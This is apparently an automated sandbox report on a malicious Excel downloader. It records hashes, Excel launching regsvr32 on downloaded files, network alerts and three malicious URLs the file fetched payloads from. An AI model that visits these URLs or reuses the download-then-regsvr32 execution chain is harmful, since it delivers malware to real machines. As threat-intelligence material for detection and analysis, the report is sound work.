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Guide 2020-06-10
Version history 2020-06-10

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Summary | ZeroBOX

doc-144430402.xls

Downloader MSOffice File

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Oct. 6, 2021, 6:13 p.m.	Oct. 6, 2021, 6:15 p.m.

Size	229.0KB
Type	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 18:19:34 2015, Last Saved Time/Date: Tue Oct 5 16:46:29 2021, Security: 0
MD5	`8e7e1a9a754cdaf05c7969966d6ab878`
SHA256	`231816b66c49c187966b86a66b6213ef4f7f4cd8cede3031f69952bccd7534ca`
CRC32	`AC306888`
ssdeep	`6144:wKpb8rGYrMPe3q7Q0XV5xtuEsi8/dgD9jWXcZZRBTq1BOzTwvOsPDslAvS32vI7Z:59jVzTmszTwvTDy33LvfP1OW/`
Yara	Microsoft_Office_File_Zero - Microsoft Office File Microsoft_Office_File_Downloader_Zero - Microsoft Office File Downloader

EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office15\EXCEL.EXE" C:\Users\test22\AppData\Local\Temp\doc-144430402.xls
2300
- regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
  2704
- regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
  2708
- regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
  2208

Name	Response	Post-Analysis Lookup
access-cs.com	A 198.46.82.18	198.46.82.18
dreamonvibes.gr	A 192.185.35.74	192.185.35.74
proflizbowles.com	A 198.46.82.18	198.46.82.18

IP Address	Status	Action
164.124.101.2	Active	Moloch
192.185.35.74	Active	Moloch
198.46.82.18	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49172 -> 192.185.35.74:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49171 -> 192.185.35.74:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.185.35.74:443 -> 192.168.56.103:49173	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Performs some HTTP requests (2 events)

request	GET http://proflizbowles.com/FC28yk4Sx7Rr/sep.html
request	GET http://access-cs.com/WH0dOuF31Vjo/sep.html

Allocates read-write-execute memory (usually to unpack itself) (4 events)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Oct. 6, 2021, 6:13 p.m.	process_identifier: 2300 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6bf98000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 6, 2021, 6:13 p.m.	process_identifier: 2300 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6b2e2000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 6, 2021, 6:13 p.m.	process_identifier: 2708 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c471000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 6, 2021, 6:13 p.m.	process_identifier: 2208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c471000 process_handle: 0xffffffff	1	0	0

Creates a suspicious process (6 events)

cmdline	regsvr32 C:\Datop\test.test
cmdline	"C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
cmdline	"C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
cmdline	"C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
cmdline	regsvr32 C:\Datop\test1.test
cmdline	regsvr32 C:\Datop\test2.test

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Oct. 6, 2021, 6:13 p.m.	process_identifier: 2300 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x7ef70000 process_handle: 0xffffffff	1	0	0

Network communications indicative of a potential document or script payload download was initiated by the process excel.exe (3 events)

Time & API	Arguments	Status	Return	Repeated
URLDownloadToFileW Oct. 6, 2021, 6:13 p.m.	url: http://proflizbowles.com/FC28yk4Sx7Rr/sep.html stack_pivoted: 0 filepath_r: C:\Datop\test.test filepath: C:\Datop\test.test	1	0	0
URLDownloadToFileW Oct. 6, 2021, 6:13 p.m.	url: http://access-cs.com/WH0dOuF31Vjo/sep.html stack_pivoted: 0 filepath_r: C:\Datop\test1.test filepath: C:\Datop\test1.test	1	0	0
URLDownloadToFileW Oct. 6, 2021, 6:13 p.m.	url: https://dreamonvibes.gr/PH5NmKjhY7js/sep.html stack_pivoted: 0 filepath_r: C:\Datop\test2.test filepath: C:\Datop\test2.test		2148270085	0

One or more non-whitelisted processes were created (6 events)

parent_process	excel.exe				martian_process	regsvr32 C:\Datop\test.test
parent_process	excel.exe				martian_process	"C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
parent_process	excel.exe				martian_process	"C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
parent_process	excel.exe				martian_process	"C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
parent_process	excel.exe				martian_process	regsvr32 C:\Datop\test1.test
parent_process	excel.exe				martian_process	regsvr32 C:\Datop\test2.test

The process excel.exe wrote an executable file to disk which it then attempted to execute (1 event)

file	C:\Windows\System32\regsvr32.exe